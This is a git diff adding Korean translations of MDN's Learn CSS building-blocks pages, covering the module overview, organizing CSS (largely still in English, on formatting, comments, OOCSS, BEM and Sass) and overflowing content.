여기에서의 목표는 텍스트 스타일 및 CSS 레이아웃 과 같은 보다 구체적인 분야로 이동하기 전에 유능한 CSS 를 작성하기 위한 도구를 제공하고 모든 필수 이론을 이해하도록 돕는 것입니다.

+ +

전제 조건

+ +

이 과목을 시작하기 전에 다음이 있어야 합니다:

+ +
    +
  1. 컴퓨터 사용 및 수동적으로 웹을 사용하는 것 (즉, 보기기만 하고 콘텐츠를 소비하는 것.) 에 대한 기본적인 친숙성.
  2. +
  3. 기본 소프트웨어 설치 에 설명 된대로 기본 작업 환경과 파일 처리 에 설명 된대로 파일 작성 및 관리 방법에 대한 이해.
  4. +
  5. HTML 소개 과목에서 설명한 HTML 에 대한 기본적인 친숙성.
  6. +
  7. CSS 첫 번째 단계 과목에서 논의된 CSS 의 기본 사항에 대한 이해.
  8. +
+ +
+

참고: 자신의 파일을 만들 수 없는 컴퓨터/태블릿/기타 장치에서 작업하는 경우, JSBin 또는 Thimble 와 같은 온라인 코딩 프로그램에서 대부분의 코드 예제를 시험해 볼 수 있습니다.

+
+ +

안내

+ +

이 강의에서는 CSS 언어의 가장 중요한 부분을 다루는 다음 기사가 포함되어 있습니다. 그 과정에서 당신은 이해력을 시험할 수 있도록 하기 위해 많은 연습을 하게 될 것입니다.

+ +
+
계단식 (cascade) 및 상속 (inheritance)
+
이번 수업의 목적은 CSS 가 HTML 에 적용되는 방법과 충돌을 해결하는 방법을 제어하는 CSS 의 가장 기본적인 개념인 — 계단식, 우선 순위 및 상속 — 에 대한 이해를 발전시키는 것입니다.
+
CSS 선택자
+
사용 가능한 다양한 CSS 선택자가 있으며, 스타일을 지정할 요소를 선택할 때 세밀한 정밀도를 허용합니다. 이 기사와 하위 기사에서는 다양한 유형을 자세히 살펴보고 작동 방식을 살펴 보겠습니다. 하위 기사는 다음과 같습니다: + +
+
박스 모델
+
CSS 의 모든 것에는 주위에 박스가 있으며, 이러한 박스를 이해하는 것은 CSS 를 사용하여 레이아웃을 만들거나 다른 항목과 항목을 정렬하는 데 중요합니다. 이 수업에서는 CSS 박스 모델 을 제대로 살펴보고, 작동 방식 및 관련 용어를 이해하여 보다 복잡한 레이아웃 작업으로 넘어갈 수 있습니다.
+
배경 및 테두리
+
이번 수업에서는 CSS 배경과 테두리로 할 수 있는 창의적인 작업을 살펴 보겠습니다. 그라데이션 (gradients), 배경 이미지 및 둥근 테두리를 추가하는 경우, 배경과 테두리는 CSS 의 많은 스타일 질문에 대한 답입니다.
+
다른 텍스트 방향 처리
+
최근 몇 년 동안, CSS 는 오른쪽에서 왼쪽으로 뿐만 아니라, 위에서 아래로 (일본어와 같은) 내용을 포함하여 서로 다른 내용의 방향성을 더 잘 지원하기 위해 발전했습니다 — 이러한 다른 방향을 쓰기 모드 (writing modes) 라고 합니다. 학습 과정을 진행하고 레이아웃 작업을 시작하면 쓰기 모드에 대한 이해가 도움이 되므로 이 기사에서 소개합니다.
+
콘텐츠 Overflow
+
이 수업에서는 CSS 의 또 다른 중요한 개념인 — overflow 를 살펴 봅니다. Overflow 는 박스 안에 편안하게 담기에는 너무 많은 내용이 있을 때 발생합니다. 이 안내서에서는 내용과 관리 방법에 대해 설명합니다.
+
CSS 값 과 단위
+
CSS 에 사용된 모든 속성에는 해당 속성에 허용되는 값이 있습니다. 이 수업에서는 가장 일반적인 값과 사용 단위를 살펴 보겠습니다.
+
CSS 에서 항목 크기 조정
+
지금까지 다양한 수업에서는 CSS 를 사용하여 웹 페이지의 항목 크기를 조정하는 여러 가지 방법을 살펴 보았습니다. 디자인의 다양한 기능이 얼마나 큰지 이해하는 것이 중요하며, 이 수업에서는 CSS 를 통해 요소의 크기를 결정하는 다양한 방법을 요약하고 크기 조정과 관련하여 향후 도움이 될 몇 가지 용어를 정의합니다.
+
이미지, 미디어 및 양식 요소
+
이 수업에서는 CSS 에서 특정 특수 요소를 처리하는 방법을 살펴 봅니다. 이미지, 기타 미디어 및 양식 요소는 일반 박스와 CSS 로 스타일을 지정할 수 있다는 점에서 약간 다르게 작동합니다. 무엇이 가능하고 불가능한지를 이해하면, 약간의 좌절감을 줄일 수 있으며, 이 수업에서는 알아야 할 주요 사항을 중점적으로 다룹니다.
+
표 스타일링
+
HTML 표 스타일링은 세계에서 가장 매력적인 일이 아니지만, 때로는 우리 모두가 해야할 일입니다. 이 기사에서는 특정 표 스타일링 기술을 강조 표시하여 HTML 표를 보기 좋게 만드는 방법에 대한 안내서를 제공합니다.
+
CSS 디버깅
+
때로는 CSS 를 작성 할 때 CSS 가 예상 한 대로 동작하지 않는 문제가 발생합니다. 이 기사에서는 CSS 문제를 디버깅하는 방법에 대한 지침을 제공하고, 모든 최신 브라우저에 포함된 개발도구 (DevTools) 가 진행중인 작업을 찾는 데 어떻게 도움이 되는지 보여줍니다.
+
CSS 정리
+
더 큰 스타일 시트와 큰 프로젝트에서 작업을 시작하면 큰 CSS 파일을 유지 관리하는 것이 어려울 수 있습니다. 이 기사에서는 CSS 를 쉽게 유지 관리 할 수 있도록 작성하는 몇 가지 모범 사례와 유지 관리를 개선하기 위해 다른 사용자가 사용하는 해결책을 간략하게 살펴 보겠습니다.
+
+ +

평가

+ +

CSS 기술을 테스트하고 싶습니까? 다음 평가는 위 안내서에서 다루는 CSS 에 대한 이해를 테스트 합니다.

+ +
+
기본 CSS 이해
+
이 평가는 기본적인 구문, 선택자, 우선 순위, 박스 모델 등에 대한 이해를 테스트 합니다.
+
멋진 편지지 만들기
+
올바른 인상을 남기고 싶다면, 멋진 편지지에 편지를 쓰는 것이 정말 좋습니다. 이 평가에서는 이러한 모양을 달성하기 위해 온라인 템플릿을 작성해야 합니다.
+
멋진 박스
+
여기에서는 배경 및 테두리 스타일을 사용하여 눈길을 끄는 박스를 만드는 방법을 연습합니다.
+
+ +

참고 항목

+ +
+
고급 스타일링 효과
+
이 기사는 박스 그림자, blend modes 및 필터 와 같은 흥미로운 고급 스타일링 기능에 대한 소개를 제공하는 트릭 박스 역할을 합니다.
+
diff --git a/files/ko/learn/css/building_blocks/organizing/index.html b/files/ko/learn/css/building_blocks/organizing/index.html new file mode 100644 index 0000000000..a80c5cb17d --- /dev/null +++ b/files/ko/learn/css/building_blocks/organizing/index.html @@ -0,0 +1,350 @@ +--- +title: CSS 구성 +slug: Learn/CSS/Building_blocks/Organizing +translation_of: Learn/CSS/Building_blocks/Organizing +--- +
{{LearnSidebar}}{{PreviousMenu("Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}
+ +

더 큰 스타일 시트와 큰 프로젝트에서 작업을 시작하면 큰 CSS 파일을 유지 관리하는 것이 어려울 수 있습니다. 이 기사에서는 CSS 를 쉽게 유지 관리할 수 있도록 작성하는 몇 가지 모범 사례와 유지 관리성을 개선하기 위해, 다른 사용자가 사용하는 해결책을 간략하게 살펴보겠습니다.

+ + + + + + + + + + + + +
전제조건:기본 컴퓨터 활용 능력, 기본 소프트웨어 설치파일 작업 에 대한 기본 지식,  HTML 기본 사항 (HTML 소개 학습) 및 , CSS 작동 방식 이해 (CSS 첫 번째 단계 학습)
목적:스타일 시트 구성을 위한 몇 가지 팁과 모범사례를 배우고, CSS 구성 및 팀 작업에 도움이 되는 일반적인 사용법의 이름 지정 규칙 및 도구에 대해 알아보기.
+ +

CSS 를 깔끔하게 유지하는 팁

+ +

다음은 스타일 시트를 체계적이고 깔끔하게 유지하는 방법에 대한 일반적인 제안입니다.

+ +

프로젝트에 코딩 스타일 가이드라인이 있습니다?

+ +

기존 프로젝트에서 팀과 함께 작업하는 경우, 가장 먼저 확인해야 할 것은 프로젝트에 CSS 에 대한 기존 스타일 가이드라인이 있는지 여부입니다. 팀 스타일 안내는 항상 개인 취향보다 우선합니다. 일을 하는 옳고 그른 방법은 없지만, 일관성이 중요합니다.

+ +

예를 들어, MDN code 예제에 대한 CSS 지침 을 살펴보십시오.

+ +

일관성 유지

+ +

프로젝트 규칙을 설정하거나 단독으로 작업하는 경우, 가장 중요한 것은 일관성을 유지하는 것입니다. 일관성은 class 에 동일한 이름 지정 규칙 사용, 색상을 설명하는 한 가지 방법을 선택하거나, 일관된 형식을 유지하는 등의 모든 종류의 방식으로 적용할 수 있습니다 (예: 탭이나 공백을 사용하여 코드를 들여쓰기 하시겠습니까? 공백은 몇 칸입니까?)

+ +

규칙을 항상 준수하면 일부 결정이 이미 내려졌기 때문에, CSS 를 작성할 때 필요한 정신적 부담이 줄어듭니다.

+ +

읽기 쉬운 CSS 서식

+ +

CSS 형식을 볼 수 있는 몇 가지 방법이 있습니다. 일부 개발자는 다음과 같이 모든 규칙을 한 라인에 넣습니다:

+ +
.box { background-color: #567895; }
+h2 { background-color: black; color: white; }
+ +

다른 개발자는 모든 것을 새로운 라인으로 나누는 것을 선호합니다:

+ +
.box {
+  background-color: #567895;
+}
+
+h2 {
+  background-color: black;
+  color: white;
+}
+ +

CSS 는 어떤 것을 사용하든 상관없습니다. 개인적으로 각 속성과 값 쌍을 새 라인에 추가하는 것이 더 읽기 쉽습니다.

+ +

CSS 주석 추가

+ +

CSS 에 주석을 추가하면 향후 개발자가 CSS 파일을 처리하는 데 도움이 되지만, 휴식 후 프로젝트에 다시 참여할 때도 도움이 됩니다.

+ +
/* 이것은 주석입니다
+여러 라인으로 구분할 수 있습니다. */
+ +

유용한 팁은 또한 스타일 시트의 논리 섹션 사이에 주석 블록을 추가하여 스캔할 때 다른 섹션을 신속하게 찾도록 도와주거나, CSS 의 해당 부분으로 바로 이동할 수 있는 정보를 제공하는 것이 좋습니다. 코드에 나타나지 않는 문자열을 사용하는 경우, 검색하여 섹션 간을 이동할 수 있습니다 — 아래에서 || 를 사용했습니다.

+ +
/* || 일반적인 스타일 */
+
+...
+
+/* || Typography */
+
+...
+
+/* || Header 및 Main Navigation */
+
+...
+
+
+ +

CSS 의 모든 사항에 대해 일일이 설명할 필요는 없습니다. 대부분 따로 설명이 필요없기 때문입니다. 여러분이 언급해야 할 것은 특정한 이유로 결정한 것들입니다.

+ +

오래된 브라우저 비 호환성을 피하기 위해 CSS 속성을 특정 방식으로 사용했을 수 있습니다. 예를 들면 다음과 같습니다:

+ +
.box {
+  background-color: red; /* 그라데이션을 지원하지 않는 이전 브라우저의 대비책 */
+  background-image: linear-gradient(to right, #ff0000, #aa0000);
+}
+
+ +

아마도 여러분은 무언가를 성취하기 위해 자습서를 따랐을 것입니다. 그리고 CSS 는 약간 눈에 띄지 않습니다. 이 경우, 여러분은 주석에 자습서의 URL 을 추가할 수 있습니다. 1년 정도 지나고 이 프로젝트로 돌아왔을 때 자신에게 감사할 것입니다. 그에 대한 훌륭한 자습서가 있었음을 모호하게 기억할 수 있습니다. 그러나 어디에 있습니까?

+ +

Create logical sections in your stylesheet

+ +

It is a good idea to have all of the common styling first in the stylesheet. This means all of the styles which will generally apply unless you do something special with that element. You will typically have rules set up for:

+ + + +

In this section of the stylesheet we are providing default styling for the type on the site, setting up a default style for data tables and lists and so on.

+ +
/* || GENERAL STYLES */
+
+body { ... }
+
+h1, h2, h3, h4 { ... }
+
+ul { ... }
+
+blockquote { ... }
+
+ +

After this section we could define a few utility classes, for example a class that removes the default list style for lists we're going to display as flex items or in some other way. If you have a few things you know you will want to apply to lots of different elements, they can come in this section.

+ +
/* || UTILITIES */
+
+.nobullets {
+  list-style: none;
+  margin: 0;
+  padding: 0;
+}
+
+...
+
+
+ +

Then we can add everything that is used sitewide. That might be things like the basic page layout, the header, navigation styling, and so on.

+ +
/* || SITEWIDE */
+
+.main-nav { ... }
+
+.logo { ... }
+
+ +

Finally we will include CSS for specific things, broken down by the context, page or even component in which they are used.

+ +
/* || STORE PAGES */
+
+.product-listing { ... }
+
+.product-box { ... }
+
+ +

By ordering things in this way, we at least have an idea in which part of the stylesheet we will be looking for something that we want to change.

+ +

Avoid overly-specific selectors

+ +

If you create very specific selectors you will often find that you need to duplicate chunks of your CSS to apply the same rules to another element. For example, you might have something like the below selector, which applies the rule to a <p> with a class of box inside an <article> with a class of main.

+ +
article.main p.box {
+  border: 1px solid #ccc;
+}
+ +

If you then wanted to apply the same rules to something outside of main, or to something other than a <p>, you would have to add another selector to these rules or create a whole new ruleset. Instead, you could create a class called box and apply that anywhere.

+ +
.box {
+  border: 1px solid #ccc;
+}
+ +

There will be times when making something more specific makes sense, however this will generally be an exception rather than usual practice.

+ +

Break large stylesheets into multiple smaller ones

+ +

In particular in cases where you have very different styles for distinct parts of the site, you might want to have a stylesheet that includes all the global rules and then smaller ones that include the specific rules needed for those sections. You can link to multiple stylesheets from one page, and the normal rules of the cascade apply, with rules in stylesheets linked later coming after rules in stylesheets linked earlier.

+ +

For example, we might have an online store as part of the site, with a lot of CSS used only for styling the product listings and forms needed for the store. It would make sense to have those things in a different stylesheet, only linked to on store pages.

+ +

This can make it easier to keep your CSS organised, and also means that if multiple people are working on the CSS you will have fewer situations where two people need to work on the same stylesheet at once, leading to conflicts in source control.

+ +

Other tools that can help

+ +

CSS itself doesn't have much in the way of in-built organisation, therefore you need to do the work to create consistency and rules around how you write CSS. The web community has also developed various tools and approaches that can help you to manage larger CSS projects. As they may be helpful for you to investigate, and you are likely to come across these things when working with other people, we've included a short guide to some of these.

+ +

CSS methodologies

+ +

Instead of needing to come up with your own rules for writing CSS, you may benefit from adopting one of the approaches already designed by the community and tested across many projects. These methodologies are essentially CSS coding guides that take a very structured approach to writing and organising CSS. Typically they tend to result in more verbose use of CSS than you might have if you wrote and optimised every selector to a custom set of rules for that project.

+ +

However, you do gain a lot of structure by adopting one and, as many of these systems are very widely used, other developers are more likely to understand the approach you are using and be able to write their CSS in the same way, rather than having to work out your own personal methodology from scratch.

+ +

OOCSS

+ +

Most of the approaches that you will encounter owe something to the concept of Object Oriented CSS (OOCSS), an approach made popular by the work of Nicole Sullivan. The basic idea of OOCSS is to separate your CSS into reusable objects, which can be used anywhere you need on your site. The standard example of OOCSS is the pattern described as The Media Object. This is a pattern with a fixed size image, video or other element on one side, and flexible content on the other. It's a pattern we see all over websites for comments, listings, and so on.

+ +

If you are not taking an OOCSS approach you might create custom CSS for the different places this pattern is used, for example creating a class called comment with a bunch of rules for the component parts, then a class called list-item with almost the same rules as the comment class except for some tiny differences. The differences between these two components is that the list-item has a bottom border, and images in comments have a border whereas list-item images do not.

+ +
.comment {
+  display: grid;
+  grid-template-columns: 1fr 3fr;
+}
+
+.comment img {
+  border: 1px solid grey;
+}
+
+.comment .content {
+  font-size: .8rem;
+}
+
+.list-item {
+  display: grid;
+  grid-template-columns: 1fr 3fr;
+  border-bottom: 1px solid grey;
+}
+
+.list-item .content {
+  font-size: .8rem;
+}
+ +

In OOCSS, you would create one pattern called media that would have all of the common CSS for both patterns — a base class for things that are generally the shape of the media object. Then we'd add an additional class to deal with those tiny differences, thus extending that styling in specific ways.

+ +
.media {
+  display: grid;
+  grid-template-columns: 1fr 3fr;
+}
+
+.media .content {
+  font-size: .8rem;
+}
+
+.comment img {
+  border: 1px solid grey;
+}
+
+ .list-item {
+  border-bottom: 1px solid grey;
+} 
+ +

In your HTML the comment would need both the media and comment classes applied:

+ +
<div class="media comment">
+  <img />
+  <div class="content"></div>
+</div>
+
+ +

The list-item would have media and list-item applied:

+ +
<ul>
+  <li class="media list-item">
+    <img />
+   <div class="content"></div>
+  </li>
+</ul>
+ +

The work that Nicole Sullivan did in describing this approach and promoting it means that even people who are not strictly following an OOCSS approach today will generally be reusing CSS in this way — it has entered our understanding as a good way to approach things in general.

+ +

BEM

+ +

BEM stands for Block Element Modifier. In BEM a block is a standalone entity such as a button, menu, or logo. An element is something like a list item or a title that is tied to the block it is in. A modifier is a flag on a block or element that changes the styling or behavior. You will be able to recognise code that uses BEM due to the extensive use of dashes and underscores in the CSS classes. For example, look at the classes applied to this HTML from the page about BEM Naming conventions:

+ +
<form class="form form--theme-xmas form--simple">
+  <input class="form__input" type="text" />
+  <input
+    class="form__submit form__submit--disabled"
+    type="submit" />
+</form>
+ +

The additional classes are similar to those used in the OOCSS example, however they use the strict naming conventions of BEM.

+ +

BEM is widely used in larger web projects and many people write their CSS in this way. It is likely that you will come across examples, even in tutorials, that use BEM syntax, without mentioning why the CSS is structured in such a way.

+ +

To read more about the system read BEM 101 on CSS Tricks.

+ +

Other common systems

+ +

There are a large number of these systems in use. Other popular approaches include Scalable and Modular Architecture for CSS (SMACSS), created by Jonathan Snook, ITCSS from Harry Roberts, and Atomic CSS (ACSS), originally created by Yahoo!. If you come across a project that uses one of these approaches then the advantage is that you will be able to search and find many articles and guides to help you understand how to code in the same style.

+ +

The disadvantage of using such a system is that they can seem overly complex, especially for smaller projects.

+ +

Build systems for CSS

+ +

Another way to organise CSS is to take advantage of some of the tooling that is available for front-end developers, which allows you to take a slightly more programmatic approach to writing CSS. There are a number of tools which we refer to as pre-processors and post-processors. A pre-processor runs over your raw files and turns them into a stylesheet, whereas a post-processor takes your finished stylesheet and does something to it — perhaps to optimize it in order that it will load faster.

+ +

Using any of these tools will require that your development environment can run the scripts that do the pre and post-processing. Many code editors can do this for you, or you can install command line tools to help.

+ +

The most popular pre-processor is Sass. This is not a Sass tutorial, so I will briefly explain a couple of the things that Sass can do, which are really helpful in terms of organisation, even if you don't use any of the other Sass features.

+ +

Defining variables

+ +

CSS now has native custom properties, making this feature increasingly less important, however one of the reasons you might use Sass is to be able to define all of the colors and fonts used in a project as settings, then use that variable around the project. This means that if you realise you have used the wrong shade of blue, you only need change it in one place.

+ +

If we created a variable called $base-color as in the first line below, we could then use it through the stylesheet anywhere that required that color.

+ +
$base-color: #c6538c;
+
+.alert {
+  border: 1px solid $base-color;
+}
+ +

Once compiled to CSS, you would end up with the following CSS in the final stylesheet.

+ +
.alert {
+  border: 1px solid #c6538c;
+}
+ +

Compiling component stylesheets

+ +

I mentioned above that one way to organise CSS is to break down stylesheets into smaller stylesheets. When using Sass you can take this to another level and have lots of very small stylesheets — even going as far as having a separate stylesheet for each component. By using the include functionality in Sass these can then all be compiled together into one, or a small number of stylesheets to actually link into your website.

+ +

You can see how one developer approaches the problem in this blog post.

+ +
+

Note: A simple way to try out Sass is to use CodePen — you can enable Sass for your CSS in the Settings for a Pen, and CodePen will then run the Sass parser for you, in order that you can see the resulting webpage with regular CSS applied. Sometimes you will find that CSS tutorials have used Sass rather than plain CSS in their CodePen demos, so it is handy to know a little bit about it.

+
+ +

Post-processing for optimization

+ +

If you are concerned about adding size to your stylesheets by adding a lot of additional comments and whitespace for example, then a post-processing step could be to optimize the CSS by stripping out anything unneccessary in the production version. An example of a post-processor solution for doing this would be cssnano.

+ +

Wrapping up

+ +

This is the final part of our Learning CSS Guide, and as you can see there are many ways in which your exploration of CSS can continue from this point.

+ +

To learn more about layout in CSS, see the Learn CSS Layout section.

+ +

You should also now have the skills to explore the rest of the MDN CSS material. You can look up properties and values, explore our CSS Cookbook for patterns to use, and read more in some of the specific guides such as our Guide to CSS Grid Layout.

+ +

{{PreviousMenu("Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}

+ +

In this module

+ +
    +
  1. Cascade and inheritance
  2. +
  3. CSS selectors + +
  4. +
  5. The box model
  6. +
  7. Backgrounds and borders
  8. +
  9. Handling different text directions
  10. +
  11. Overflowing content
  12. +
  13. Values and units
  14. +
  15. Sizing items in CSS
  16. +
  17. Images, media, and form elements
  18. +
  19. Styling tables
  20. +
  21. Debugging CSS
  22. +
  23. Organizing your CSS
  24. +
diff --git a/files/ko/learn/css/building_blocks/overflowing_content/index.html b/files/ko/learn/css/building_blocks/overflowing_content/index.html new file mode 100644 index 0000000000..2cb71a8e6a --- /dev/null +++ b/files/ko/learn/css/building_blocks/overflowing_content/index.html @@ -0,0 +1,119 @@ +--- +title: 콘텐츠 overflow +slug: Learn/CSS/Building_blocks/Overflowing_content +translation_of: Learn/CSS/Building_blocks/Overflowing_content +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}
+ +

이번 수업에서는 CSS 의 또 다른 중요한 개념인 — overflow 를 살펴봅니다. Overflow 는 박스 안에 편안하게 담기에는 너무 많은 내용이 있을 때 발생합니다. 이 안내서에서는 내용과 관리 방법에 대해 설명합니다.

+ + + + + + + + + + + + +
전제조건:기본 컴퓨터 활용 능력, 기본 소프트웨어 설치파일 작업 에 대한 기본 지식,  HTML 기본 사항 (HTML 소개 학습) 및 , CSS 작동 방식 이해 (CSS 첫 번째 단계 학습)
목적:overflow 및 이를 관리하는 방법 이해하기.
+ +

overflow 란 무엇인가?

+ +

우리는 이미 CSS 의 모든 것이 박스라는 것을 알고 있으며, {{cssxref("width")}} 및 {{cssxref("height")}} (또는 {{cssxref("inline-size")}} 및 {{cssxref("block-size")}}) 의 값을 제공하여 박스의 크기를 제한할 수 있음을 알고 있습니다. Overflow 는 박스에 내용이 너무 많을 때 발생하므로, 박스 안에 들어가지 않습니다. CSS 는 이 overflow 를 관리할 수 있는 다양한 도구를 제공하며, 이 초기 단계에서 이해하는 데 유용한 개념이기도 합니다. CSS 를 작성할 때, 특히 CSS 레이아웃에 더 깊이 들어가면 overflow 상황이 자주 발생합니다.

+ +

CSS 는 "데이터 손실" 을 피하려고 합니다

+ +

overflow 가 발생했을 때, CSS 가 기본적으로 어떻게 동작하는지 보여주는 두 가지 예를 살펴보도록 하겠습니다.

+ +

찻 번째는 height 를 지정하여 블록 크기가 제한된 박스입니다. 그런 다음 이 박스에 필요한 공간보다 많은 콘텐츠를 추가했습니다. 내용물이 박스에 넘쳐서 박스 아래의 단락 위에 다소 혼란스럽게 놓여 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/overflow/block-overflow.html", '100%', 600)}}

+ +

두 번째는 인라인 크기로 제한된 박스의 단어입니다. 박스가 해당 단어에 맞지 않도록 너무 작게 만들어져 박스 밖으로 나옵니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/overflow/inline-overflow.html", '100%', 500)}}

+ +

왜 CSS 가 기본적으로 내용이 혼란스러워지는 어수선한 접근 방식을 취했는지 궁금할 것입니다. 추가 콘텐츠를 숨기거나 박스가 커지는 이유는 무엇입니까?

+ +

가능하면 CSS 는 내용을 숨기지 않습니다; 그렇게 하면 데이터가 손실될 수 있으며, 이는 일반적으로 문제입니다. CSS 용어로, 이는 일부 콘텐츠가 사라짐을 의미합니다. 콘텐츠 손실의 문제점은 손실 되었음을 알 수 없다는 것입니다. 방문자가 사라진 것을 눈치채지 못할 수도 있습니다. 그것이 사라지는 양식의 제출 버튼이고 아무도 양식을 완성할 수 없다면 큰 문제입니다! 따라서 CSS 는 눈에 띄게 overflow 되는 경향이 있습니다. 혼란스러워 보이거나, 최악의 경우 사이트 방문자가 일부 콘텐츠가 겹치므로 수정해야함을 알려줍니다.

+ +

width 또는height 가 있는 박스를 제한한 경우, CSS 는 사용자가 수행중인 작업을 알고 있으며, overflow 가능성을 관리한다고 가정합니다. 일반적으로 사이트를 디자인할 때 예상보다 많은 텍스트가 있거나 텍스트가 더 클 수 있으므로 — 예를 들어 사용자가 글꼴 크기를 늘린 경우 박스에 텍스트를 넣을 때 블록 크기를 제한하는 것은 문제가 됩니다.

+ +

다음 수업에서는 overflow 가 덜 발생하는 크기를 제어하는 다양한 방법을 살펴보겠습니다. 그러나 고정 크기가 필요한 경우, overflow 동작을 제어할 수도 있습니다. 계속 읽어 봅시다!

+ +

overflow 속성

+ +

{{cssxref("overflow")}} 속성은 요소의 overflow 를 제어하고 브라우저가 원하는 방식으로 동작하도록 하는 방법입니다. overflow 의 기본값은 visible 이므로, overflows 가 발생하면 기본적으로 콘텐츠를 볼 수 있습니다.

+ +

콘텐츠가 넘칠 때 내용을 자르려면 박스에 overflow: hidden 을 설정할 수 있습니다. 이렇게 하면 — overflow 를 숨길 수 있습니다. 이로 인해 모든 것이 사라질 수 있으므로 콘텐츠를 숨기는 것이 문제를 일으키지 않을 경우에만 해야합니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/overflow/hidden.html", '100%', 600)}}

+ +

아마도 내용이 넘칠 때 스크롤 막대를 추가하고 싶습니까? overflow: scroll 를 사용하면 브라우저에 항상 스크롤 막대가 표시됩니다 — 콘텐츠가 부족하여 overflow 할 수 없는 경우에도 마찬가지입니다. 내용에 따라 스크롤 막대가 나타나거나 사라지는 것을 방지하기 때문에 원하는 경우가 있습니다.

+ +

아래 박스에서 일부 내용을 제거하면 스크롤 할 내용이 없어도 스크롤 막대가 여전히 남아 있습니다 (또는 스크롤 막대만).

+ +

{{EmbedGHLiveSample("css-examples/learn/overflow/scroll.html", '100%', 600)}}

+ +

위의 예제에서는 y 축만 스크롤하면 되지만, 두 축에는 스크롤바가 나타납니다. 대신 {{cssxref("overflow-y")}} 속성을 사용하여, overflow-y: scroll 로 설정하면 y 축에서만 스크롤하도록 할 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-y.html", '100%', 600)}}

+ +

{{cssxref("overflow-x")}} 를 사용하여 x 축을 스크롤할 수도 있지만, 긴 단어를 처리하는 데 권장되는 방법은 아닙니다! 작은 박스에서 긴 단어를 처리해야 하는 경우 {{cssxref("word-break")}} 또는  {{cssxref("overflow-wrap")}} 속성을 볼 수 있습니다. 또한 CSS 항목 크기 조정 에서 설명하는 일부 방법을 사용하면 다양한 양의 콘텐츠에 더 잘 맞는 박스를 만들 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-x.html", '100%', 500)}}

+ +

scroll 과 마찬가지로 스크롤 막대를 유발할 내용이 충분한 지 여부에 따라 스크롤 크기에 스크롤 막대가 나타납니다.

+ +
+

참고: overflow 속성을 사용하여 두 개의 값을 전달하여 x 와 y 스크롤을 지정할 수 있습니다. 두 개의 키워드가 지정되면, 첫 번째 키워드는 overflow-x 에 적용되고 두 번째 키워드는 overflow-y 에 적용됩니다. 그렇지 않으면 overflow-x 및 overflow-y 가 모두 같은 값으로 설정됩니다. 예를 들어, overflow: scroll hidden 은 overflow-x 를 scroll 로, overflow-y 를 hidden 으로 설정합니다.

+
+ +

박스에 넣을 수 있는 것보다 많은 내용이 있는 경우 스크롤 막대만 표시하려면, overflow: auto 를 사용하십시오. 이 경우 스크롤 막대를 표시할 지 여부를 결정하는 것은 브라우저에게 맡겨져 있습니다. 데스크톱 브라우저는 일반적으로 overflow 를 유발할 수 있는 충분한 콘텐츠가 있는 경우에만 그렇게 합니다.

+ +

아래 예에서 박스에 들어갈 때까지 일부 내용을 제거하면, 스크롤 막대가 사라지는것을 볼 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/overflow/auto.html", '100%', 600)}}

+ +

Overflow 는 블록 서식 Context 를 설정합니다

+ +

CSS 에는 Block Formatting Context (BFC) 의 개념이 있습니다. 이것은 지금 너무 걱정할 필요는 없지만, scroll 또는 auto  와 같은 overflow 값을 사용할 때 BFC 를 생성한다는 것을 아는 것이 유용합니다. 결과적으로 overflow 값을 변경한 박스의 내용이 자체의 미니 레이아웃이 됩니다. container 외부의 물건은 container 에 찌를 수 없으며, 박스에서 주변 레이아웃으로 찌를 수는 없습니다. 이느 일관된 스크롤 환경을 만들기 위해, 박스의 모든 내용을 포함해야 하고 페이지의 다른 항목과 겹치지 않아야 하므로 스크롤 동작을 활성화하기 위한 것입니다.

+ +

웹 디자인에서 원치 않는 overflow

+ +

최신 레이아웃 방법 (CSS 레이아웃 강의에 설명되어 있음) 은 overflow 를 매우 잘 관리합니다. 우리가 웹에 얼마나 많은 콘텐츠를 가지고 있는지 예측할 수 없다는 사실에 대처하도록 설계되었습니다. 그러나 과거에는 개발자들이 종종 고정된 높이를 사용하여 서로 관계가 없는 박스의 하단을 정렬하려고 했습니다. 이것은 깨지기 쉬웠으며, legacy 응용 프로그램에서 때때로 내용이 페이지의 다른 내용과 겹치는 박스가 나타날 수 있습니다. 이러한 현상이 나타나면 overflow 가 발생한다는 것을 알수 있습니다. 박스 크기 고정에 의존하지 않도록 레이아웃을 리팩터링 하는것이 이상적입니다.

+ +

사이트를 개발할 때는 항상 overflow 문제를 염두에 두어야 합니다. 많은 양의 콘텐츠로 디자인을 테스트하고 텍스트의 글꼴 크기를 늘리면 CSS 가 강력한 방식으로 대처할 수 있는지 확인해야 합니다. 내용을 숨기거나 스크롤 막대를 추가하기 위해 overflow 값을 변경하는 것은 스크롤 박스를 원할 때와 같은 몇 가지 특별한 경우에만 예약할 수 있습니다.

+ +

요약

+ +

이 짧은 수업은 overflow 개념을 소개했습니다; 이제 CSS 가 넘쳐나는 내용을 보이지 않게 만들려고 하지만 데이터가 손실될 수 있음을 이해합니다. overflow 가능성을 관리할 수 있으며 실수로 overflow 문제가 발생하지 않도록 작업을 테스트해야 합니다.

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}

+ +

이번 강의에서는

+ +
    +
  1. 계단식 및 상속
  2. +
  3. CSS 선택자 + +
  4. +
  5. 박스 모델
  6. +
  7. 배경 및 테두리
  8. +
  9. 다른 텍스트 방향 처리
  10. +
  11. 콘텐츠 overflow
  12. +
  13. 값 과 단위
  14. +
  15. CSS 에서 항목 크기 조정
  16. +
  17. 이미지, 미디어 및 양식 요소
  18. +
  19. 표 스타일링
  20. +
  21. CSS 디버깅
  22. +
  23. CSS 정리
  24. +
